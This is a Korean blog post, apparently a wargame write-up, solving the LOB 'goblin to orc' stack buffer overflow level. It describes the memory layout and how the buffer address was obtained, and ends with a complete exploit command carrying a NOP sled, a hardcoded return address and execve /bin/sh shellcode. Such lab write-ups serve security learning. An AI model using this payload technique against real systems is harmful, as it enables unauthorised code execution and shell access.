본문 바로가기
Security/Pwnable

LOB Level 4 goblin

by J0DEV 2021. 8. 9.
반응형

Level 4 goblin > orc 로 접속합니다.

소스를 살펴보면

 

이번에는 에그쉘을 쓰지 못하네요

 

egghunter에서 환경변수는 주소를 모두 0으로 만들어 버리네요

 

그리고 argv[1][47]이 \xbf여야 한다네요.

 

우선 gdb를 사용해 메모리 구조를 나타내면

 

RET		4
SFP		4
BUFFER		40
i		4

가 됩니다. 이번에도 더미값은 없네요

 

대충 공격코드를 작성해보면

 

nop(44byte) + ret + nop + shellcode

 

가 되겠군요

 

buffer의 주소를 알아내기 위해

 

gdb를 활용합니다.

 

strcpy함수가 호출되고 난 후의 부분에 break 를 걸고

 

살펴보려는데...

권한문제 ;;

 

orc프로그램을 따로 컴파일해서 해보았으나

 

주소가 맞지않아 안되네요..

 

다른 방법을 찾던중

 

orc 소스파일 자체에서 buffer의 주소를 출력해주면 되지않을까? 라는 생각을 했습니다.

맨 마지막줄에 

printf("0x%x\n", buffer);

를 해주고

buffer의 주소가 출력 됩니다.

 

0xbffffa80 입니다.

 

다시 공격 코드를 살펴보면

 

\x90*44(nop) + \x80\xfa\xff\xbf + \x90*200(nop)+쉘코드

 

형식이 됩니다.

 

(argv[1][47] 이 \xbf가 되는 조건도 만족했습니다. [리틀에디안])

./orc `python -c 'print "\x90"*44 + "\x80\xfa\xff\xbf" + "\x90"*200+"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`

 

 

 

 

반응형

'Security > Pwnable' 카테고리의 다른 글

LOB Level 6 wolfman  (0) 2021.08.09
LOB Level 5 orc  (0) 2021.08.09
LOB Level 3 cobolt  (0) 2021.08.09
LOB Level 2 gremlin  (0) 2021.08.09
LOB Level 1 gate  (0) 2021.08.09